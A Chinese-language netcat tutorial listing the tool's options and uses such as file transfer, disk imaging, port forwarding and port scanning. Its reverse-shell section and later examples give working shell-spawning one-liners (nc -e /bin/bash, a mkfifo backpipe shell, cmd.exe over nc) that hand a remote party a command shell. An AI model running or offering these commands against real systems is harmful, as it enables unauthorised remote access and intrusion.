nc简介
1、nc
nc全称netcat,又叫做瑞士军刀,是一款简单、可靠的网络工具
2、nc的作用
- 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
- 端口扫描,nc可以作为client发起TCP或UDP连接
- 机器之间传输文件
- 机器之间网络测速
3、常用参数
-l:用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
-p:本地端口
-s:指定发送数据的源IP地址,适用于多网卡机
-u:指定nc使用UDP协议,默认为TCP
-v:输出交互或出错信息,新手调试时尤为有用
-w:超时秒数,后面跟数字
-z:表示zero,表示扫描时不发送任何数据
-i:secs 延时的间隔
-L:连接关闭,仍然继续监听
-n:指定数字ip,不能用hostname
-o:file 记录16进制的传输
-r:随机本地及远程端口
-t:使用Telnet交互方式
4、常见用法
1.nc用于文件操作
- 文件上传/下载
服务器:nc -lvp 端口号< 待传输的文件名
本机:nc 服务器ip 端口号 >待传输的文件名
- 目录下载
服务器:tar czvf - src_dir | nc -lvp 9001
本机:nc S 9001 | tar xzvf -
- 目录上传
服务器:nc -lvp 9002 | tar xzvf -
本机:tar czvf - src_dir | nc S 9002
- 文件镜像
服务器:dd if=/dev/sda1 | nc -w 10 客户机ip 端口 //用dd把磁盘做成镜像直接导入 客户端端的1234端口
客户机:nc -l 端口 >文件 //开启1234端口,把内容定向到文件
- 目录镜像
服务器:mkisofs -r /data | nc -w 10 客户机ip 端口
客户机:nc -l 端口 > 文件
2.nc实现端口转发
前提:能访问目标机的其中一个端口;需要将我们需要的端口在目标机上进行转发到我们能访问的端口
目标机:
nc -l 需要转发的端口 //开启端口并监听
cat /tmp/fifo | nc localhost 需要转发的端口 | nc -l 能正常访问的端口 > /tmp/fifo //将端口转发到我们能访问到的端口
本机:nc -n 目标机ip 能访问的端口
3.nc实现反弹shell
- 正向反弹
服务器:nc -lvvp 端口 -e /bin/bash
本地:nc 服务器ip 端口
- 反向反弹
服务器:nc -e /bin/bash 本地ip 端口
本地: nc -lvvp 端口
- 不使用-e参数
服务器:
mkfifo /tmp/backpipe也可以创建一个管道。 //mkfifo /tmp/backpipe是在tmp目录下创建管道backpipe;也可以使用mknod创建,不过mknod需要root权限
/bin/sh 0</tmp/backpipe | nc 本地ip 端口 1>/tmp/backpipe // 将默认shell环境的输入;重定向给刚才创建的管道,然后将输出通过nc attackerip
本地: nc -lvvp 端口
或
服务器:nc 本机ip 端口 | /bin/bash |nc 本机ip 另一个端口 //管道符将上一个端口的输入通过/bin/bash执行后传给下一个端口输出显示
本机:nc -l -p 端口 -vv ;nc -l -p 端口 -vv //本机上开两个端口
4.其他用法
- 扫描远程主机端口
nc -nvv -w 2 -z 远程主机ip 扫描端口范围(如:80-10000)
- 反弹远程主机的cmd获得shell
远程主机: nc -t -e c:\winnt\system32\cmd.exe 本地ip 端口
本地: nc -lvvp 端口
或
nc - l -p 可访问的远程端口 -t -e cmd.exe //将cmd重定向到本机的某端口上
本机去访问该端口能获得cmd命令行
- 后台监听端口并把访问信息存到指定文件
nc -L -p 端口 >文件 //可以使用>>追加日志